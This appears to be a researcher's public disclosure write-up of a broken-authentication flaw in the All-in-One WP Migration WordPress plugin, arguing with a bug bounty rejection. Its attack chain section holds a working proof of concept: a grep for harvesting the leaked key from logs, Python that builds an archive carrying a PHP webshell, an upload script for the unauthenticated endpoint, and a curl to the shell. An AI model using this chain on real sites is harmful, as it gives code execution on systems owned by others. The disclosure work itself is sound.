Introduction
On April 15, 2026, I was auditing the authentication model of All-in-One WP Migration and Backup (AIOWPM) — one of the most popular backup plugins in the WordPress ecosystem, with roughly 5 million reported downloads. What I found isn't a shiny CVSS 10.0 remote-unauth RCE, and I want to be upfront about that from the start.
What I found is a broken authentication design in which the plugin's entire security model rests on a single 12-character key that never rotates and inevitably leaks into operational infrastructure — server access logs, SIEM pipelines, CloudWatch indexes, Splunk buckets, CDN logs, load-balancer logs. Once the key is in those systems, it's in the hands of anyone with log-read access: MSP technicians, shared-hosting ops teams, former employees whose log access was never revoked, SIEM analysts at third-party SOCs, intern-tier staff at your DDoS provider. With that key, any of them can hit a wp_ajax_nopriv_ endpoint — no WordPress session, no cookies, no user account — upload a crafted archive, and get RCE as www-data.
I reported the bug to Wordfence, but was rejected as a "false positive").
The Plugin Architecture
AIOWPM is a backup and migration plugin. Its core workflow — export, transfer, import — is asynchronous and long-running. A large WordPress site's backup can take many minutes to generate, and the plugin's UI polls the server for progress while the job runs.
To make that polling survive session expiry, nonce rotation, and admin-ajax's usual auth requirements, the developer chose to expose the status, import, and resume endpoints through WordPress's wp_ajax_nopriv_* hook. This is the hook plugins register when they need AJAX endpoints that will fire for requests with no authenticated session.
To prevent the open internet from simply hammering those endpoints, the plugin checks a static secret stored in the options table:
$secret_key = get_option( AI1WM_SECRET_KEY );
if ( ! isset( $_REQUEST['secret_key'] ) || $_REQUEST['secret_key'] !== $secret_key ) {
// reject
}The secret is generated once, at plugin install, and stored in wp_options. It is twelve characters. It does not rotate. It does not expire. It is the only thing standing between the open internet and a function that extracts an arbitrary tarball into wp-content/.
If you already see where this is going, skip ahead. For everyone else, there are three separate flaws that turn this architecture into a persistent RCE — and one bonus exposure vector that changes the threat model.

The Three Flaws
Flaw 1 — A static credential with no rotation
The key is created once and stored in wp_options forever. There's no UI to rotate it, no timed expiry, no rotation-on-admin-password-change. A site exported once in 2024 is using the same key that protects it in 2026.
This is a CWE-798 problem in spirit — hard-coded credentials — combined with the fact that a key you can't rotate is a key whose compromise is permanent.
Flaw 2 — The key travels through GET parameters (and therefore through every log in your infrastructure)
This is the core of the bug. The plugin's status poller is built like this, in lib/controller/class-ai1wm-main-controller.php:
// lib/controller/class-ai1wm-main-controller.php:949
'url' => add_query_arg(
array( 'secret_key' => get_option( AI1WM_SECRET_KEY ) ),
admin_url( 'admin-ajax.php?action=ai1wm_status' )
),Every time an admin runs an export or an import, the browser polls a URL like:
GET /wp-admin/admin-ajax.php?
action=ai1wm_status&ai1wm_import=1&secret_key=tmX1VseOKe14 HTTP/1.1 200That URL, query string intact, lands in:
- Apache/Nginx access logs
- CloudFront / Cloudflare / Fastly edge logs
- The load balancer logs upstream of the WordPress host
- Any SIEM the host forwards access logs to (Splunk, Elastic, Sumo Logic, Datadog)
- The hosting provider's centralized logging
- The backups of all of the above

tail -f on the nginx access log during a single export run. The twelve-character value on the right is the static key that guards the plugin's import endpoint.This is textbook CWE-532 — insertion of sensitive information into a log file. Except the "sensitive information" is a static credential that grants code execution, and the "log file" is every log file the request ever touched.
And here's the part Wordfence may have overlooked: the bounds of who sees this key are not the bounds of who has a WordPress account. They are the bounds of who has log-read access across the operational infrastructure that hosts the site. Those are radically different sets.
Flaw 3 — No extension filter on archive extraction
AIOWPM's .wpress archive is a gzipped tar with a custom header. On import, the plugin iterates the archive and writes files into wp-content/:
// lib/model/import/class-ai1wm-import-content.php:227
$archive->extract_one_file_to( WP_CONTENT_DIR, $exclude_files, $exclude_extensions, ... );$exclude_extensions does not include .php. A .wpress archive containing plugins/evil/shell.php will extract that file to wp-content/plugins/evil/shell.php — web-accessible, executable as the PHP user. No sanitization, no realpath check, no quarantine step.
Individually, each flaw is a smell. Chained, they're RCE.
Second acquisition vector — the key is rendered into the admin page DOM
The log leak is the most structurally troubling exposure, but it is not the only one, and calling it the "only" one would understate the bug. The key is also written directly into the HTML source of the admin Export page as a JavaScript global, twice:
// Lines 783 and 957 — the key appears TWICE in page source
wp_localize_script( 'ai1wm_servmask', 'ai1wm_feedback', array( 'secret_key' => get_option( AI1WM_SECRET_KEY ) ) );
wp_localize_script( 'ai1wm_export', 'ai1wm_export', array( 'secret_key' => get_option( AI1WM_SECRET_KEY ) ) );Anything that can read the DOM of that page can read the key. That set includes:
- Any WordPress user with access to the Export page — not just the admin who originally configured the plugin. On a multi-admin install, every admin who loads the page gets the key in their browser, and many installs grant
exportcapability to editor-adjacent roles via capability plugins. - Any XSS payload running in an admin's browser context — including reflected/stored XSS in a co-installed vulnerable plugin or theme.
window.ai1wm_export.secret_keyis two dot-separated reads away. A reflected XSS in plugin X becomes a persistent unauthenticated RCE foothold via plugin Y, because the receivingnoprivendpoint doesn't care about the session you came from. - Browser extensions with page access — ad-blockers, password managers, productivity tools. Any extension with
activeTab/ host-permission access to the WordPress admin can trivially read the key out of the page. - Browser sync / cache / session-replay tooling — vendor session-replay products, full-page caches, browser sync services with raw-HTML retention. Anything that captures the page source captures the key along with it.
This is the vector Wordfence appears to have dismissed with "only available on admin-only pages that require an authenticated administrator session." That description is narrowly true and analytically misleading: yes, you need to reach the admin page to read the key, but (a) "reaches the admin page" is a much wider set than "has an admin WordPress account", and (b) once the key is read, it works from anywhere with no admin session at all, because the import endpoint is nopriv. The key that guards RCE is sitting in plaintext in the HTML of a page loaded by dozens of categories of browser-adjacent software.
The Attack Chain

Putting it together:
Step 1. An admin runs any export or import. The key appears in the server's access log as a query-string parameter. This is the normal, expected operation of the plugin — no attacker interaction needed.
Step 2. Anyone with access to those logs — a current or former sysadmin, MSP tech, shared-hosting ops engineer, the SIEM admin, the security vendor ingesting WAF logs for analysis — greps:
grep -oP 'secret_key=\K[A-Za-z0-9]+' access.log | sort -uThey now have the key. No WordPress account required. No exploit deployed.
Step 3. The attacker builds a malicious .wpress archive containing a webshell:
import tarfile, io, json
SHELL_PHP = b'<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}?>'
with tarfile.open("malicious.wpress", "w:gz") as tar:
pkg = json.dumps({
"name": "wordpress", "url": "http://localhost", "version": "6.0",
"created_at": "2026-04-15 10:00:00", "path": "wp-content", "prefix": "wp_"
}).encode()
ti = tarfile.TarInfo("package.json"); ti.size = len(pkg)
tar.addfile(ti, io.BytesIO(pkg))
ti2 = tarfile.TarInfo("plugins/aiowpm-poc/shell.php"); ti2.size = len(SHELL_PHP)
tar.addfile(ti2, io.BytesIO(SHELL_PHP))Step 4. The attacker uploads to the nopriv endpoint using only the leaked key — no session, no cookies, no user account:
import requests
TARGET = "http://target"
SECRET_KEY = "tmX1VseOKe14"
BASE = f"{TARGET}/wp-admin/admin-ajax.php"
P = {"ai1wm_import": 1, "secret_key": SECRET_KEY}
with open("malicious.wpress", "rb") as f:
requests.post(
BASE,
params={**P, "action": "ai1wm_import"},
data={"priority": 0},
files={"wpress-file": ("m.wpress", f, "application/octet-stream")},
)
# Drive the priority pipeline the plugin expects
for p in [10, 50, 100, 150, 200, 250, 300]:
requests.post(BASE, params={**P, "action": "ai1wm_import"}, data={"priority": p})Step 5. The archive extracts. plugins/aiowpm-poc/shell.php is written into wp-content/plugins/aiowpm-poc/shell.php.
Step 6. HTTP GET to the shell URL:
$ curl 'http://target/wp-content/plugins/aiowpm-poc/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)Confirmed end-to-end against WordPress 6.x + AIOWPM 7.105 on a local test rig.
Impact Analysis
I want to be scrupulous about severity, because it is the part Wordfence handled carelessly. The RCE is real and confirmed. The right way to think about it is to separate the two paths for acquiring the key, because they imply very different threat models — and the public exploitation story is the union of both.
Path 1 — Server-side / log exposure
Any admin export or import writes the key to the server access log as a GET parameter. From there it propagates into every proxy, CDN, load-balancer, SIEM, and log-archive in the stack.
Who this actually opens the door to: anyone with read access to any layer of the site's operational infrastructure. Concretely:
- Managed service providers running hundreds of WordPress sites for clients, where a single
grep secret_keyacross a centralized log store yields a ring of still-valid keys for every site the MSP ever exported or imported. - Shared-hosting ops engineers who can read per-tenant access logs via normal support tooling.
- Third-party security vendors ingesting WAF or CDN logs for analysis — the logs reaching their SOC contain the keys.
- Former employees whose SSH access was revoked but whose log-platform access (Splunk, Elastic, Datadog) was not.
- The backup copies of any of the above, including long-term cold-storage log archives.
This is not a direct remote attack by an anonymous internet attacker. It is a broken-auth design that leaks a high-value credential into systems run by humans who are not WordPress administrators of the target site — and who, under any reasonable security model, should not be able to execute code on it.
Path 2 — Admin page / browser-side exposure
The key is written into the HTML source of the Export admin page as a JavaScript global. Acquiring it is a matter of loading a URL in a browser and reading the page source, nothing more.
Who this actually opens the door to:
- Any WordPress user who can load the Export page. In multi-admin and agency installs, that is often several people; in environments using capability plugins, that set can extend below full-admin. Every one of them gets a credential that lets them bypass the WordPress auth system entirely and RCE the site from any IP, forever.
- Any XSS payload in the admin context. A reflected or stored XSS in a co-installed plugin or theme can read
window.ai1wm_export.secret_keyand exfiltrate it in one line of JavaScript. This converts a garden-variety admin-context XSS — a class of bug that WordPress treats as medium severity at best — into a persistent unauthenticated RCE because the receiving endpoint isnoprivand the key doesn't expire. - Browser extensions with page access. Ad-blockers, password managers, vendor productivity tools, enterprise MDM-pushed extensions — anything with host-permission access to the WP admin URL can read the key out of the DOM silently.
- Browser sync and session-replay tooling. Vendor session-replay captures DOM snapshots; browser profile sync services cache page source; corporate DLP tools mirror content. Each of these captures the key along with the page.
Path 2 is a web-accessible attack in the literal sense: no log access, no filesystem access, no server shell — just load a URL in a browser you already have access to, and you have an RCE key. This is the path Wordfence dismissed with "requires an authenticated administrator session," which is true of reading the key but false of using it: once acquired, the key works with zero session state against the nopriv endpoint.
Why both paths matter together
The endpoint is fully unauthenticated once you have the key. No cookies, no session, no WordPress user account. So every channel that leaks the key — whether it's an nginx log, an MSP's Splunk cluster, a co-installed plugin's XSS, a browser extension, or a session-replay vendor — is effectively a private RCE capability for whoever touches that channel.
And because the key never rotates, the exposure window is forever. A single export run in 2023 leaks a key that is still valid in 2026. Rotating admin passwords does nothing. Revoking SSH access does nothing. The key is a parallel credential, living in a parallel system, with no lifecycle.
The honest severity
This is a HIGH-severity broken-authentication bug (CWE-287 + CWE-532 + CWE-798, with a CWE-79→CWE-287 escalation chain for Path 2), not a CRITICAL remote-unauth.
I want to state that clearly in both directions:
- Do not read this as: "any anonymous internet attacker trivially exploits every AIOWPM install." That would be wrong. The key is not floating around on the open internet for arbitrary strangers to pluck out of thin air.
- Do read this as: a broken-authentication design where the key that guards an RCE-capable endpoint inevitably leaks to entire populations of people — infrastructure staff, adjacent admins, browser-adjacent software, XSS-chain attackers — who are not WordPress administrators of the target site and who under no reasonable threat model should have code-execution capability on it.
I believe there are two separate points to consider here: first, whether the issue is valid, and second, what severity classification is most appropriate. My understanding is that the issue itself is real, even if its rating may reasonably be open to interpretation.
Disclosure Timeline
- April 15, 2026 — Flaw identified during source review of AIOWPM 7.105.
- April 15, 2026 — PoC developed and confirmed against a local WordPress 6.x + AIOWPM 7.105 instance.
- April 16, 2026 — Report submitted to the Wordfence bug bounty program with full repro steps, video and code references.
- April 17, 2026 — Wordfence response: rejected as a "false positive… definitely AI hallucination," with a warning that "too many false positive reports may result in a temporary suspension or ban."
- April 17, 2026 — Public disclosure (this article).
P.S. A video of the PoC is available on my LinkedIn account. (https://www.linkedin.com/posts/javier-_ive-published-a-new-article-on-medium-about-ugcPost-7450972830323662848-dBFE)